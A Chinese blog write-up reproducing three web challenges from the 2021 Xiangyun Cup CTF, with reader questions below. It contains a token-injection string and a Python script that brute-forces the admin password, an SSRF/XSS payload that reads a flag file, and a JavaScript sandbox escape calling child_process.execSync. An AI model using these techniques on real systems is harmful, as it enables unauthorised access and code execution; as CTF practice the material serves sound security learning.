2021祥云杯部分web复现

Package Manager

考察:sql注入

给出了源码,可以找到注入点,这里可以绕过token

image-20210913161215390

尝试闭合202cb962ac59075b964b07152d234b70"||this.username=="admin

直接跳转到了/packages/submit,可以注入,

image-20210913161119378

直接跑密码

import requests
import string
passwd = ""
for i in range(0,50):
    for j in string.printable:
        burp0_url = "http://b832bf26-de3a-4658-8c5e-633620752d87.node4.buuoj.cn:81/auth"
        burp0_cookies = {"session": "s%3APjMgE09JHbBDVC1O_4dh_B0bPr7BI1uS.Q%2BX7uMZuNWiJVnXwGIRptf3HdTu2ZHdRNf0PhPDdWio"}
        burp0_data = {"_csrf": "n76kZA7T-bAVf3KIV9xREBKqvVpKXkfAGUi0", "token": "202cb962ac59075b964b07152d234b70\"||this.password[{}]==\"{}".format(i,j)}
        res=requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data,allow_redirects=False)
        if res.status_code == 302:
            passwd += j
            print(passwd)

得到密码

image-20210913164338465

登陆得到flag

image-20210913164400132

secrets_of_admin

分析源码,首先在database.ts里找到了用户名和密码

image-20210913164830322

成功登陆

image-20210913164856186

这里输入content拼接进template模板里面,生成pdf,

image-20210913173108260

通过/api/files/:id页面里面读取我们存放的文件内容

这里什么利用点,可以看到本机访问的内容可控,这里是个利用点

image-20210913173851545

构造xss可以用数组绕过

expcontent[]=<img%20src="http://127.0.0.1:8888/api/files?username=admin%26filename=/../files/flag%26checksum=laotun">

然后访问/api/files/laotun即可得到flag

image-20210913174330001

cralwer_z

直接审计源码,在登陆和注册的地方没发现利用点,直接注册登录

image-20210913221057500

可以看到只有这一个地方可以修改,查找课利用点

可以看到这个goto函数,猜测是请求

image-20210913221232055

跳转函数发现是能直接访问bucket

image-20210913221350484

这里肯定是利用点,查看修改处,分析可以看出来,这里是先提交信息然后生成一个token,再跳转去/user/verify

image-20210913221703544

这里还会对bucket进行验证,只要在链接最后面加上oss-cn-beijing.ichunqiu.com即可绕过

image-20210913222047218

重定向到/user/verify,带着token,首先判断token然后失效,再修改bucket

image-20210913221813351

想要修改bucket就需要先生成token,再进行bucket覆盖,再让产生的token那个包进行重定向

首先获取token

image-20210913222356333

再进行覆盖

image-20210913222445750

然后再重定向token,可以看到成功覆盖

image-20210913222542411

buu的环境有点问题,一直反弹shell不成功,只能直接读取flag

<script>
a=this.constructor.constructor.constructor.constructor('return process')();b=a.mainModule.require('child_process');c=b.execSync('cat /flag').toString();document.write(c);
</script>

访问/user/bucket获取flag

image-20210913222659689

评论

  1. 11111
    Windows Edge 95.0.1020.44
    2年前
    2021-11-08 20:37:05

    你好,请问packagemanager里面的”_csrf”是题目哪里提示的?我一直没找到。请指教。

    • 博主
      11111
      Macintosh Chrome 95.0.4638.69
      2年前
      2021-11-09 12:38:40

      这个csrf,发送token的时候你用bp抓包就有了

  2. bme
    Windows Chrome 97.0.4692.99
    2年前
    2022-2-09 11:59:07

    你好,请问一下,cralwer_z这个题目里,profile不是会把其他token的valid都改成false吗,那在第二次覆盖的时候是怎么保证verify通过的呢

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇